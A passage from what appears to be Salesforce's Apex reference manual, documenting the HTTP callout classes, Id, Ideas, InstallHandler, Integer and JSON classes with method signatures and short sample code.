The ID of the job to move.
Return Value
Type: Boolean
moveJobToFront(jobId)
Moves the specified job to the front of the flex queue, to index position 0. All other jobs move back one spot. If the job isn’t in the queue,
it throws an element-not-found exception. Returns true if the job is moved, or false if the job is already at the front of the queue,
so no change is made.
Signature
public static Boolean moveJobToFront(Id jobId)
Parameters
jobId
Type: Id
The ID of the job to move.
Return Value
Type: Boolean
Http Class
Use the Http class to initiate an HTTP request and response.
Namespace
System
2272
Http ClassReference
Http Methods
The following are methods for Http. All are instance methods.
IN THIS SECTION:
send(request)
Sends an HttpRequest and returns the response.
toString()
Returns a string that displays and identifies the object's properties.
send(request)
Sends an HttpRequest and returns the response.
Signature
public HttpResponse send(HttpRequest request)
Parameters
request
Type: System.HttpRequest
Return Value
Type: System.HttpResponse
toString()
Returns a string that displays and identifies the object's properties.
Signature
public String toString()
Return Value
Type: String
HttpCalloutMock Interface
Enables sending fake responses when testing HTTP callouts.
Namespace
System
2273
HttpCalloutMock InterfaceReference
Usage
For an implementation example, see Testing HTTP Callouts by Implementing the HttpCalloutMock Interface.
HttpCalloutMock Methods
The following are methods for HttpCalloutMock.
IN THIS SECTION:
respond(request)
Returns an HTTP response for the given request. The implementation of this method is called by the Apex runtime to send a fake
response when an HTTP callout is made after Test.setMock has been called.
respond(request)
Returns an HTTP response for the given request. The implementation of this method is called by the Apex runtime to send a fake response
when an HTTP callout is made after Test.setMock has been called.
Signature
public HttpResponse respond(HttpRequest request)
Parameters
request
Type: System.HttpRequest
Return Value
Type: System.HttpResponse
HttpRequest Class
Use the HttpRequest class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.
Namespace
System
Usage
Use the XML classes or JSON classes to parse XML or JSON content in the body of a request created by HttpRequest.
Example
The following example illustrates how you can use an authorization header with a request and handle the response.
public class AuthCallout {
2274
HttpRequest ClassReference
public void basicAuthCallout(){
HttpRequest req = new HttpRequest();
req.setEndpoint('http://www.yahoo.com');
req.setMethod('GET');
// Specify the required user name and password to access the endpoint
// As well as the header and header information
String username = 'myname';
String password = 'mypwd';
Blob headerValue = Blob.valueOf(username + ':' + password);
String authorizationHeader = 'BASIC ' +
EncodingUtil.base64Encode(headerValue);
req.setHeader('Authorization', authorizationHeader);
// Create a new http object to send the request object
// A response object is generated as a result of the request
Http http = new Http();
HTTPResponse res = http.send(req);
System.debug(res.getBody());
}
}
Note: You can set the endpoint as a named credential URL. A named credential URL contains the scheme callout:, the name
of the named credential, and an optional path. For example: callout:My_Named_Credential/some_path. A named
credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce manages
all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have to. See
Named Credentials as Callout Endpoints on page 457.
Compression
To compress the data you send, use setCompressed.
HttpRequest req = new HttpRequest();
req.setEndPoint('my_endpoint');
req.setCompressed(true);
req.setBody('some post body');
If a response comes back in compressed format, getBody recognizes the format, uncompresses it, and returns the uncompressed
value.
IN THIS SECTION:
HttpRequest Constructors
HttpRequest Methods
SEE ALSO:
JSON Support
XML Support
2275
HttpRequest ClassReference
HttpRequest Constructors
The following are constructors for HttpRequest.
IN THIS SECTION:
HttpRequest()
Creates a new instance of the HttpRequest class.
HttpRequest()
Creates a new instance of the HttpRequest class.
Signature
public HttpRequest()
HttpRequest Methods
The following are methods for HttpRequest. All are instance methods.
IN THIS SECTION:
getBody()
Retrieves the body of this request.
getBodyAsBlob()
Retrieves the body of this request as a Blob.
getBodyDocument()
Retrieves the body of this request as a DOM document.
getCompressed()
If true, the request body is compressed, false otherwise.
getEndpoint()
Retrieves the URL for the endpoint of the external server for this request.
getHeader(key)
Retrieves the contents of the request header.
getMethod()
Returns the type of method used by HttpRequest.
setBody(body)
Sets the contents of the body for this request.
setBodyAsBlob(body)
Sets the contents of the body for this request using a Blob.
setBodyDocument(document)
Sets the contents of the body for this request. The contents represent a DOM document.
setClientCertificate(clientCert, password)
This method is deprecated. Use setClientCertificateName instead.
2276
HttpRequest ClassReference
setClientCertificateName(certDevName)
If the external service requires a client certificate for authentication, set the certificate name.
setCompressed(flag)
If true, the data in the body is delivered to the endpoint in the gzip compressed format. If false, no compression format is used.
setEndpoint(endpoint)
Specifies the endpoint for this request.
setHeader(key, value)
Sets the contents of the request header.
setMethod(method)
Sets the type of method to be used for the HTTP request.
setTimeout(timeout)
Sets the timeout in milliseconds for the request.
toString()
Returns a string containing the URL for the endpoint of the external server for this request and the method used, for example,
Endpoint=http://YourServer, Method=POST
getBody()
Retrieves the body of this request.
Signature
public String getBody()
Return Value
Type: String
getBodyAsBlob()
Retrieves the body of this request as a Blob.
Signature
public Blob getBodyAsBlob()
Return Value
Type: Blob
getBodyDocument()
Retrieves the body of this request as a DOM document.
Signature
public Dom.Document getBodyDocument()
2277
HttpRequest ClassReference
Return Value
Type: Dom.Document
Example
Use this method as a shortcut for:
String xml = httpRequest.getBody();
Dom.Document domDoc = new Dom.Document(xml);
getCompressed()
If true, the request body is compressed, false otherwise.
Signature
public Boolean getCompressed()
Return Value
Type: Boolean
getEndpoint()
Retrieves the URL for the endpoint of the external server for this request.
Signature
public String getEndpoint()
Return Value
Type: String
getHeader(key)
Retrieves the contents of the request header.
Signature
public String getHeader(String key)
Parameters
key
Type: String
Return Value
Type: String
2278
HttpRequest ClassReference
getMethod()
Returns the type of method used by HttpRequest.
Signature
public String getMethod()
Return Value
Type: String
Usage
Examples of return values:
•DELETE
•GET
•HEAD
•POST
•PUT
•TRACE
setBody(body)
Sets the contents of the body for this request.
Signature
public Void setBody(String body)
Parameters
body
Type: String
Return Value
Type: Void
Usage
Limit: 6 MB for synchronous Apex or 12 MB for asynchronous Apex.
The HTTP request and response sizes count towards the total heap size.
setBodyAsBlob(body)
Sets the contents of the body for this request using a Blob.
2279
HttpRequest ClassReference
Signature
public Void setBodyAsBlob(Blob body)
Parameters
body
Type: Blob
Return Value
Type: Void
Usage
Limit: 6 MB for synchronous Apex or 12 MB for asynchronous Apex.
The HTTP request and response sizes count towards the total heap size.
setBodyDocument(document)
Sets the contents of the body for this request. The contents represent a DOM document.
Signature
public Void setBodyDocument(Dom.Document document)
Parameters
document
Type: Dom.Document
Return Value
Type: Void
Usage
Limit: 6 MB for synchronous Apex or 12 MB for asynchronous Apex.
setClientCertificate(clientCert, password)
This method is deprecated. Use setClientCertificateName instead.
Signature
public Void setClientCertificate(String clientCert, String password)
Parameters
clientCert
Type: String
2280
HttpRequest ClassReference
password
Type: String
Return Value
Type: Void
Usage
If the server requires a client certificate for authentication, set the client certificate PKCS12 key store and password.
setClientCertificateName(certDevName)
If the external service requires a client certificate for authentication, set the certificate name.
Signature
public Void setClientCertificateName(String certDevName)
Parameters
certDevName
Type: String
Return Value
Type: Void
Usage
See Using Certificates with HTTP Requests.
setCompressed(flag)
If true, the data in the body is delivered to the endpoint in the gzip compressed format. If false, no compression format is used.
Signature
public Void setCompressed(Boolean flag)
Parameters
flag
Type: Boolean
Return Value
Type: Void
2281
HttpRequest ClassReference
setEndpoint(endpoint)
Specifies the endpoint for this request.
Signature
public Void setEndpoint(String endpoint)
Parameters
endpoint
Type: String
Possible values for the endpoint:
•Endpoint URL
https://my_endpoint.example.com/some_path
•Named credential URL, which contains the scheme callout, the name of the named credential, and, optionally, an appended
path
callout:My_Named_Credential/some_path
Return Value
Type: Void
SEE ALSO:
Named Credentials as Callout Endpoints
setHeader(key, value)
Sets the contents of the request header.
Signature
public Void setHeader(String key, String value)
Parameters
key
Type: String
value
Type: String
Return Value
Type: Void
2282
HttpRequest ClassReference
Usage
Limit 100 KB.
setMethod(method)
Sets the type of method to be used for the HTTP request.
Signature
public Void setMethod(String method)
Parameters
method
Type: String
Possible values for the method type include:
•DELETE
•GET
•HEAD
•POST
•PUT
•TRACE
Return Value
Type: Void
Usage
You can also use this method to set any required options.
setTimeout(timeout)
Sets the timeout in milliseconds for the request.
Signature
public Void setTimeout(Integer timeout)
Parameters
timeout
Type: Integer
Return Value
Type: Void
2283
HttpRequest ClassReference
Usage
The timeout can be any value between 1 and 120,000 milliseconds.
toString()
Returns a string containing the URL for the endpoint of the external server for this request and the method used, for example,
Endpoint=http://YourServer, Method=POST
Signature
public String toString()
Return Value
Type: String
HttpResponse Class
Use the HttpResponse class to handle the HTTP response returned by the Http class.
Namespace
System
Usage
Use the XML classes or JSON Classes to parse XML or JSON content in the body of a response accessed by HttpResponse.
Example
In the following getXmlStreamReader example, content is retrieved from an external Web server, then the XML is parsed using
the XmlStreamReader class.
public class ReaderFromCalloutSample {
public void getAndParse() {
// Get the XML document from the external server
Http http = new Http();
HttpRequest req = new HttpRequest();
req.setEndpoint('https://docsample.herokuapp.com/xmlSample');
req.setMethod('GET');
HttpResponse res = http.send(req);
// Log the XML content
System.debug(res.getBody());
// Generate the HTTP response as an XML stream
XmlStreamReader reader = res.getXmlStreamReader();
2284
HttpResponse ClassReference
// Read through the XML
while(reader.hasNext()) {
System.debug('Event Type:' + reader.getEventType());
if (reader.getEventType() == XmlTag.START_ELEMENT) {
System.debug(reader.getLocalName());
}
reader.next();
}
}
}
SEE ALSO:
JSON Support
XML Support
HttpResponse Methods
The following are methods for HttpResponse. All are instance methods.
IN THIS SECTION:
getBody()
Retrieves the body returned in the response.
getBodyAsBlob()
Retrieves the body returned in the response as a Blob.
getBodyDocument()
Retrieves the body returned in the response as a DOM document.
getHeader(key)
Retrieves the contents of the response header.
getHeaderKeys()
Retrieves an array of header keys returned in the response.
getStatus()
Retrieves the status message returned for the response.
getStatusCode()
Retrieves the value of the status code returned in the response.
getXmlStreamReader()
Returns an XmlStreamReader that parses the body of the callout response.
setBody(body)
Specifies the body returned in the response.
setBodyAsBlob(body)
Specifies the body returned in the response using a Blob.
setHeader(key, value)
Specifies the contents of the response header.
2285
HttpResponse ClassReference
setStatus(status)
Specifies the status message returned in the response.
setStatusCode(statusCode)
Specifies the value of the status code returned in the response.
toString()
Returns the status message and status code returned in the response, for example:
getBody()
Retrieves the body returned in the response.
Signature
public String getBody()
Return Value
Type: String
Usage
Limit 6 MB for synchronous Apex or 12 MB for asynchronous Apex. The HTTP request and response sizes count towards the total heap
size.
getBodyAsBlob()
Retrieves the body returned in the response as a Blob.
Signature
public Blob getBodyAsBlob()
Return Value
Type: Blob
Usage
Limit 6 MB for synchronous Apex or 12 MB for asynchronous Apex. The HTTP request and response sizes count towards the total heap
size.
getBodyDocument()
Retrieves the body returned in the response as a DOM document.
Signature
public Dom.Document getBodyDocument()
2286
HttpResponse ClassReference
Return Value
Type: Dom.Document
Example
Use it as a shortcut for:
String xml = httpResponse.getBody();
Dom.Document domDoc = new Dom.Document(xml);
getHeader(key)
Retrieves the contents of the response header.
Signature
public String getHeader(String key)
Parameters
key
Type: String
Return Value
Type: String
getHeaderKeys()
Retrieves an array of header keys returned in the response.
Signature
public String[] getHeaderKeys()
Return Value
Type: String[]
getStatus()
Retrieves the status message returned for the response.
Signature
public String getStatus()
Return Value
Type: String
2287
HttpResponse ClassReference
getStatusCode()
Retrieves the value of the status code returned in the response.
Signature
public Integer getStatusCode()
Return Value
Type: Integer
getXmlStreamReader()
Returns an XmlStreamReader that parses the body of the callout response.
Signature
public XmlStreamReader getXmlStreamReader()
Return Value
Type: System.XmlStreamReader
Usage
Use it as a shortcut for:
String xml = httpResponse.getBody();
XmlStreamReader xsr = new XmlStreamReader(xml);
setBody(body)
Specifies the body returned in the response.
Signature
public Void setBody(String body)
Parameters
body
Type: String
Return Value
Type: Void
setBodyAsBlob(body)
Specifies the body returned in the response using a Blob.
2288
HttpResponse ClassReference
Signature
public Void setBodyAsBlob(Blob body)
Parameters
body
Type: Blob
Return Value
Type: Void
setHeader(key, value)
Specifies the contents of the response header.
Signature
public Void setHeader(String key, String value)
Parameters
key
Type: String
value
Type: String
Return Value
Type: Void
setStatus(status)
Specifies the status message returned in the response.
Signature
public Void setStatus(String status)
Parameters
status
Type: String
Return Value
Type: Void
2289
HttpResponse ClassReference
setStatusCode(statusCode)
Specifies the value of the status code returned in the response.
Signature
public Void setStatusCode(Integer statusCode)
Parameters
statusCode
Type: Integer
Return Value
Type: Void
toString()
Returns the status message and status code returned in the response, for example:
Signature
public String toString()
Return Value
Type: String
Example
Status=OK, StatusCode=200
Id Class
Contains methods for the ID primitive data type.
Namespace
System
Example: Getting an sObject Token From an ID
This sample shows how to use the getSObjectType method to obtain an sObject token from an ID. The updateOwner method
in this sample accepts a list of IDs of the sObjects to update the ownerId field of. This list contains IDs of sObjects of the same type. The
second parameter is the new owner ID. Note that since it is a future method, it doesn’t accept sObject types as parameters; this is why
2290
Id ClassReference
it accepts IDs of sObjects. This method gets the sObject token from the first ID in the list, then does a describe to obtain the object name
and constructs a query dynamicallly. It then queries for all sObjects and updates their owner ID fields to the new owner ID.
public class MyDynamicSolution {
@future
public static void updateOwner(List<ID> objIds, ID newOwnerId) {
// Validate input
System.assert(objIds != null);
System.assert(objIds.size() > 0);
System.assert(newOwnerId != null);
// Get the sObject token from the first ID
// (the List contains IDs of sObjects of the same type).
Schema.SObjectType token = objIds[0].getSObjectType();
// Using the token, do a describe
// and construct a query dynamically.
Schema.DescribeSObjectResult dr = token.getDescribe();
String queryString = 'SELECT ownerId FROM ' + dr.getName() +
' WHERE ';
for(ID objId : objIds) {
queryString += 'Id=\'' + objId + '\' OR ';
}
// Remove the last ' OR'
queryString = queryString.subString(0, queryString.length() - 4);
sObject[] objDBList = Database.query(queryString);
System.assert(objDBList.size() > 0);
// Update the owner ID on the sObjects
for(Integer i=0;i<objDBList.size();i++) {
objDBList[i].put('ownerId', newOwnerId);
}
Database.SaveResult[] srList = Database.update(objDBList, false);
for(Database.SaveResult sr : srList) {
if (sr.isSuccess()) {
System.debug('Updated owner ID successfully for ' +
dr.getName() + ' ID ' + sr.getId());
}
else {
System.debug('Updating ' + dr.getName() + ' returned the following errors.');
for(Database.Error e : sr.getErrors()) {
System.debug(e.getMessage());
}
}
}
}
}
Id Methods
The following are methods for Id.
2291
Id ClassReference
IN THIS SECTION:
addError(errorMsg)
Marks a record with a custom error message and prevents any DML operation from occurring.
addError(errorMsg, escape)
Marks a record with a custom error message, specifies whether or not the error message should be escaped, and prevents any DML
operation from occurring.
addError(exceptionError)
Marks a record with a custom error message and prevents any DML operation from occurring.
addError(exceptionError, escape)
Marks a record with a custom error message and prevents any DML operation from occurring.
getSObjectType()
Returns the token for the sObject corresponding to this ID. This method is primarily used with describe information.
valueOf(toID)
Converts the specified String into an ID and returns the ID.
addError(errorMsg)
Marks a record with a custom error message and prevents any DML operation from occurring.
Signature
public Void addError(String errorMsg)
Parameters
errorMsg
Type: String
The error message to mark the record with.
Return Value
Type: Void
Usage
This method is similar to the addError(errorMsg) sObject method.
Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, ", \,
\u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the
Salesforce user interface.
Example
Trigger.new[0].Id.addError('bad');
2292
Id ClassReference
addError(errorMsg, escape)
Marks a record with a custom error message, specifies whether or not the error message should be escaped, and prevents any DML
operation from occurring.
Signature
public Void addError(String errorMsg, Boolean escape)
Parameters
errorMsg
Type: String
The error message to mark the record with.
escape
Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false).
Return Value
Type: Void
Usage
The escaped characters are: \n, <, >, &, ", \, \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered;
instead it is displayed as text in the Salesforce user interface.
Warning: Be cautious if you specify false for the escape argument. Unescaped strings displayed in the Salesforce user
interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include
HTML markup in the error message, call this method with a false escape argument and make sure you escape any dynamic
content, such as input field values. Otherwise, specify true for the escape argument or call addError(String
errorMsg) instead.
Example
Trigger.new[0].Id.addError('Fix & resubmit',false);
addError(exceptionError)
Marks a record with a custom error message and prevents any DML operation from occurring.
Signature
public Void addError(Exception exceptionError)
Parameters
exceptionError
Type: System.Exception
2293
Id ClassReference
An Exception object or a custom exception object that contains the error message to mark the record with.
Return Value
Type: Void
Usage
This method is similar to the addError(exceptionError) sObject method.
Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, ", \,
\u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the
Salesforce user interface.
Example
public class MyException extends Exception{}
Trigger.new[0].Id.addError(new myException('Invalid Id'));
addError(exceptionError, escape)
Marks a record with a custom error message and prevents any DML operation from occurring.
Signature
public Void addError(Exception exceptionError, Boolean escape)
Parameters
exceptionError
Type: System.Exception
An Exception object or a custom exception object that contains the error message to mark the record with.
escape
Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false).
Return Value
Type: Void
Usage
The escaped characters are: \n, <, >, &, ", \, \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered;
instead it is displayed as text in the Salesforce user interface.
Warning: Be cautious if you specify false for the escape argument. Unescaped strings displayed in the Salesforce user
interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include
HTML markup in the error message, call this method with a false escape argument and make sure you escape any dynamic
2294
Id ClassReference
content, such as input field values. Otherwise, specify true for the escape argument or call addError(Exception e)
instead.
Example
public class MyException extends Exception{}
account a = new account();
a.addError(new MyException('Invalid Id & other issues'), false);
getSObjectType()
Returns the token for the sObject corresponding to this ID. This method is primarily used with describe information.
Signature
public Schema.SObjectType getSObjectType()
Return Value
Type: Schema.SObjectType
Usage
For more information about describes, see Understanding Apex Describe Information.
Example
account a = new account(name = 'account');
insert a;
Id myId = a.id;
system.assertEquals(Schema.Account.SObjectType, myId.getSobjectType());
valueOf(toID)
Converts the specified String into an ID and returns the ID.
Signature
public static ID valueOf(String toID)
Parameters
toID
Type: String
Return Value
Type: ID
2295
Id ClassReference
Example
Id myId = Id.valueOf('001xa000003DIlo');
Ideas Class
Represents zone ideas.
Namespace
System
Usage
Ideas is a community of users who post, vote for, and comment on ideas. An Ideas community provides an online, transparent way for
you to attract, manage, and showcase innovation.
A set of recent replies (returned by methods, see below) includes ideas that a user has posted or commented on that already have
comments posted by another user. The returned ideas are listed based on the time of the last comment made by another user, with the
most recent ideas appearing first.
The userID argument is a required argument that filters the results so only the ideas that the specified user has posted or commented
on are returned.
The communityID argument filters the results so only the ideas within the specified zone are returned. If this argument is the empty
string, then all recent replies for the specified user are returned regardless of the zone.
For more information on ideas, see “Using Ideas” in the Salesforce online help.
Example
The following example finds ideas in a specific zone that have similar titles as a new idea:
public class FindSimilarIdeasController {
public static void test() {
// Instantiate a new idea
Idea idea = new Idea ();
// Specify a title for the new idea
idea.Title = 'Increase Vacation Time for Employees';
// Specify the communityID (INTERNAL_IDEAS) in which to find similar ideas.
Community community = [ SELECT Id FROM Community WHERE Name = 'INTERNAL_IDEAS' ];
idea.CommunityId = community.Id;
ID[] results = Ideas.findSimilar(idea);
}
}
The following example uses a Visualforce page in conjunction with a custom controller, that is, a special Apex class. For more information
on Visualforce, see the Visualforce Developer's Guide.
2296
Ideas ClassReference
This example creates an Apex method in the controller that returns unread recent replies. You can leverage this same example for the
getAllRecentReplies and getReadRecentReplies methods. For this example to work, there must be ideas posted to
the zone. In addition, at least one zone member must have posted a comment to another zone member's idea or comment.
// Create an Apex method to retrieve the recent replies marked as unread in all communities
public class IdeasController {
public Idea[] getUnreadRecentReplies() {
Idea[] recentReplies;
if (recentReplies == null) {
Id[] recentRepliesIds = Ideas.getUnreadRecentReplies(UserInfo.getUserId(), '');
recentReplies = [SELECT Id, Title FROM Idea WHERE Id IN :recentRepliesIds];
}
return recentReplies;
}
}
The following is the markup for a Visualforce page that uses the above custom controller to list unread recent replies.
<apex:page controller="IdeasController" showHeader="false">
<apex:dataList value="{!unreadRecentReplies}" var="recentReplyIdea">
<a href="/apex/viewIdea?id={!recentReplyIdea.Id}">
<apex:outputText value="{!recentReplyIdea.Title}" escape="true"/></a>
</apex:dataList>
</apex:page>
The following example uses a Visualforce page in conjunction with a custom controller to list ideas. Then, a second Visualforce page
and custom controller is used to display a specific idea and mark it as read. For this example to work, there must be ideas posted to the
zone.
// Create a controller to use on a VisualForce page to list ideas
public class IdeaListController {
public final Idea[] ideas {get; private set;}
public IdeaListController() {
Integer i = 0;
ideas = new Idea[10];
for (Idea tmp : Database.query
('SELECT Id, Title FROM Idea WHERE Id != null AND parentIdeaId = null LIMIT 10')) {
i++;
ideas.add(tmp);
}
}
}
The following is the markup for a Visualforce page that uses the above custom controller to list ideas:
<apex:page controller="IdeaListController" tabStyle="Idea" showHeader="false">
2297
Ideas ClassReference
<apex:dataList value="{!ideas}" var="idea" id="ideaList">
<a href="/apex/viewIdea?id={!idea.id}">
<apex:outputText value="{!idea.title}" escape="true"/></a>
</apex:dataList>
</apex:page>
The following example also uses a Visualforce page and custom controller, this time, to display the idea that is selected on the above
idea list page. In this example, the markRead method marks the selected idea and associated comments as read by the user that is
currently logged in. Note that the markRead method is in the constructor so that the idea is marked read immediately when the user
goes to a page that uses this controller. For this example to work, there must be ideas posted to the zone. In addition, at least one zone
member must have posted a comment to another zone member's idea or comment.
// Create an Apex method in the controller that marks all comments as read for the
// selected idea
public class ViewIdeaController {
private final String id = System.currentPage().getParameters().get('id');
public ViewIdeaController(ApexPages.StandardController controller) {
Ideas.markRead(id);
}
}
The following is the markup for a Visualforce page that uses the above custom controller to display the idea as read.
<apex:page standardController="Idea" extensions="ViewIdeaController" showHeader="false">
<h2><apex:outputText value="{!idea.title}" /></h2>
<apex:outputText value="{!idea.body}" />
</apex:page>
Ideas Methods
The following are methods for Ideas. All methods are static.
IN THIS SECTION:
findSimilar(idea)
Returns a list of similar ideas based on the title of the specified idea.
getAllRecentReplies(userID, communityID)
Returns ideas that have recent replies for the specified user or zone. This includes all read and unread replies.
getReadRecentReplies(userID, communityID)
Returns ideas that have recent replies marked as read.
getUnreadRecentReplies(userID, communityID)
Returns ideas that have recent replies marked as unread.
markRead(ideaID)
Marks all comments as read for the user that is currently logged in.
2298
Ideas ClassReference
findSimilar(idea)
Returns a list of similar ideas based on the title of the specified idea.
Signature
public static ID[] findSimilar(Idea idea)
Parameters
idea
Type: Idea
Return Value
Type: ID[]
Usage
Each findSimilar call counts against the SOSL query limits. See Execution Governors and Limits.
getAllRecentReplies(userID, communityID)
Returns ideas that have recent replies for the specified user or zone. This includes all read and unread replies.
Signature
public static ID[] getAllRecentReplies(String userID, String communityID)
Parameters
userID
Type: String
communityID
Type: String
Return Value
Type: ID[]
Usage
Each getAllRecentReplies call counts against the SOQL query limits. See Execution Governors and Limits.
getReadRecentReplies(userID, communityID)
Returns ideas that have recent replies marked as read.
Signature
public static ID[] getReadRecentReplies(String userID, String communityID)
2299
Ideas ClassReference
Parameters
userID
Type: String
communityID
Type: String
Return Value
Type: ID[]
Usage
Each getReadRecentReplies call counts against the SOQL query limits. See Execution Governors and Limits.
getUnreadRecentReplies(userID, communityID)
Returns ideas that have recent replies marked as unread.
Signature
public static ID[] getUnreadRecentReplies(String userID, String communityID)
Parameters
userID
Type: String
communityID
Type: String
Return Value
Type: ID[]
Usage
Each getUnreadRecentReplies call counts against the SOQL query limits. See Execution Governors and Limits.
markRead(ideaID)
Marks all comments as read for the user that is currently logged in.
Signature
public static Void markRead(String ideaID)
Parameters
ideaID
Type: String
2300
Ideas ClassReference
Return Value
Type: Void
InstallHandler Interface
Enables custom code to run after a managed package installation or upgrade.
Namespace
System
Usage
App developers can implement this interface to specify Apex code that runs automatically after a subscriber installs or upgrades a
managed package. This makes it possible to customize the package install or upgrade, based on details of the subscriber’s organization.
For instance, you can use the script to populate custom settings, create sample data, send an email to the installer, notify an external
system, or kick off a batch operation to populate a new field across a large set of data.
The post install script is invoked after tests have been run, and is subject to default governor limits. It runs as a special system user that
represents your package, so all operations performed by the script appear to be done by your package. You can access this user by using
UserInfo. You will only see this user at runtime, not while running tests.
If the script fails, the install/upgrade is aborted. Any errors in the script are emailed to the user specified in the Notify on Apex Error
field of the package. If no user is specified, the install/upgrade details will be unavailable.
The post install script has the following additional properties.
•It can initiate batch, scheduled, and future jobs.
•It can’t access Session IDs.
•It can only perform callouts using an async operation. The callout occurs after the script is run and the install is complete and
committed.
The InstallHandler interface has a single method called onInstall, which specifies the actions to be performed on
install/upgrade.
global interface InstallHandler {
void onInstall(InstallContext context)
};
The onInstall method takes a context object as its argument, which provides the following information.
•The org ID of the organization in which the installation takes place.
•The user ID of the user who initiated the installation.
•The version number of the previously installed package (specified using the Version class). This is always a three-part number,
such as 1.2.0.
•Whether the installation is an upgrade.
•Whether the installation is a push.
The context argument is an object whose type is the InstallContext interface. This interface is automatically implemented by
the system. The following definition of the InstallContext interface shows the methods you can call on the context argument.
global interface InstallContext {
ID organizationId();
2301
InstallHandler InterfaceReference
ID installerId();
Boolean isUpgrade();
Boolean isPush();
Version previousVersion();
}
IN THIS SECTION:
InstallHandler Methods
InstallHandler Example Implementation
InstallHandler Methods
The following are methods for InstallHandler.
IN THIS SECTION:
onInstall(context)
Specifies the actions to be performed on install/upgrade.
onInstall(context)
Specifies the actions to be performed on install/upgrade.
Signature
public Void onInstall(InstallContext context)
Parameters
context
Type: System.InstallContext
Return Value
Type: Void
InstallHandler Example Implementation
The following sample post install script performs these actions on package install/upgrade.
•If the previous version is null, that is, the package is being installed for the first time, the script:
–Creates a new Account called “Newco” and verifies that it was created.
–Creates a new instance of the custom object Survey, called “Client Satisfaction Survey”.
–Sends an email message to the subscriber confirming installation of the package.
•If the previous version is 1.0, the script creates a new instance of Survey called “Upgrading from Version 1.0”.
•If the package is an upgrade, the script creates a new instance of Survey called “Sample Survey during Upgrade”.
2302
InstallHandler InterfaceReference
•If the upgrade is being pushed, the script creates a new instance of Survey called “Sample Survey during Push”.
global class PostInstallClass implements InstallHandler {
global void onInstall(InstallContext context) {
if(context.previousVersion() == null) {
Account a = new Account(name='Newco');
insert(a);
Survey__c obj = new Survey__c(name='Client Satisfaction Survey');
insert obj;
User u = [Select Id, Email from User where Id =:context.installerID()];
String toAddress= u.Email;
String[] toAddresses = new String[]{toAddress};
Messaging.SingleEmailMessage mail =
new Messaging.SingleEmailMessage();
mail.setToAddresses(toAddresses);
mail.setReplyTo('support@package.dev');
mail.setSenderDisplayName('My Package Support');
mail.setSubject('Package install successful');
mail.setPlainTextBody('Thanks for installing the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });
}
else
if(context.previousVersion().compareTo(new Version(1,0)) == 0) {
Survey__c obj = new Survey__c(name='Upgrading from Version 1.0');
insert(obj);
}
if(context.isUpgrade()) {
Survey__c obj = new Survey__c(name='Sample Survey during Upgrade');
insert obj;
}
if(context.isPush()) {
Survey__c obj = new Survey__c(name='Sample Survey during Push');
insert obj;
}
}
}
You can test a post install script using the new testInstall method of the Test class. This method takes the following arguments.
•A class that implements the InstallHandler interface.
•A Version object that specifies the version number of the existing package.
•An optional Boolean value that is true if the installation is a push. The default is false.
This sample shows how to test a post install script implemented in the PostInstallClass Apex class.
@isTest
static void testInstallScript() {
PostInstallClass postinstall = new PostInstallClass();
Test.testInstall(postinstall, null);
Test.testInstall(postinstall, new Version(1,0), true);
List<Account> a = [Select id, name from Account where name ='Newco'];
System.assertEquals(a.size(), 1, 'Account not found');
}
2303
InstallHandler InterfaceReference
Integer Class
Contains methods for the Integer primitive data type.
Namespace
System
Usage
For more information on integers, see Primitive Data Types on page 27.
Integer Methods
The following are methods for Integer.
IN THIS SECTION:
format()
Returns the integer as a string using the locale of the context user.
valueOf(stringToInteger)
Returns an Integer that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal
integer.
valueOf(fieldValue)
Converts the specified object to an Integer. Use this method to convert a history tracking field value or an object that represents an
Integer value.
format()
Returns the integer as a string using the locale of the context user.
Signature
public String format()
Return Value
Type: String
Example
integer myInt = 22;
system.assertEquals('22', myInt.format());
valueOf(stringToInteger)
Returns an Integer that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal
integer.
2304
Integer ClassReference
Signature
public static Integer valueOf(String stringToInteger)
Parameters
stringToInteger
Type: String
Return Value
Type: Integer
Example
Integer myInt = Integer.valueOf('123');
valueOf(fieldValue)
Converts the specified object to an Integer. Use this method to convert a history tracking field value or an object that represents an
Integer value.
Signature
public static Integer valueOf(Object fieldValue)
Parameters
fieldValue
Type: Object
Return Value
Type: Integer
Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field type
corresponds to an Integer type, like a number field.
Example:
Example
List<AccountHistory> ahlist =
[SELECT Field,OldValue,NewValue
FROM AccountHistory];
for(AccountHistory ah : ahlist) {
System.debug('Field: ' + ah.Field);
if (ah.field == 'NumberOfEmployees') {
Integer oldValue =
Integer.valueOf(ah.OldValue);
2305
Integer ClassReference
Integer newValue =
Integer.valueOf(ah.NewValue);
}
JSON Class
Contains methods for serializing Apex objects into JSON format and deserializing JSON content that was serialized using the serialize
method in this class.
Namespace
System
Usage
Use the methods in the System.JSON class to perform round-trip JSON serialization and deserialization of Apex objects.
SEE ALSO:
Roundtrip Serialization and Deserialization
JSON Methods
The following are methods for JSON. All methods are static.
IN THIS SECTION:
createGenerator(prettyPrint)
Returns a new JSON generator.
createParser(jsonString)
Returns a new JSON parser.
deserialize(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.
deserializeStrict(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.
deserializeUntyped(jsonString)
Deserializes the specified JSON string into collections of primitive data types.
serialize(objectToSerialize)
Serializes Apex objects into JSON content.
serialize(objectToSerialize, suppressApexObjectNulls)
Suppresses null values when serializing Apex objects into JSON content.
serializePretty(objectToSerialize)
Serializes Apex objects into JSON content and generates indented content using the pretty-print format.
2306
JSON ClassReference
serializePretty(objectToSerialize, suppressApexObjectNulls)
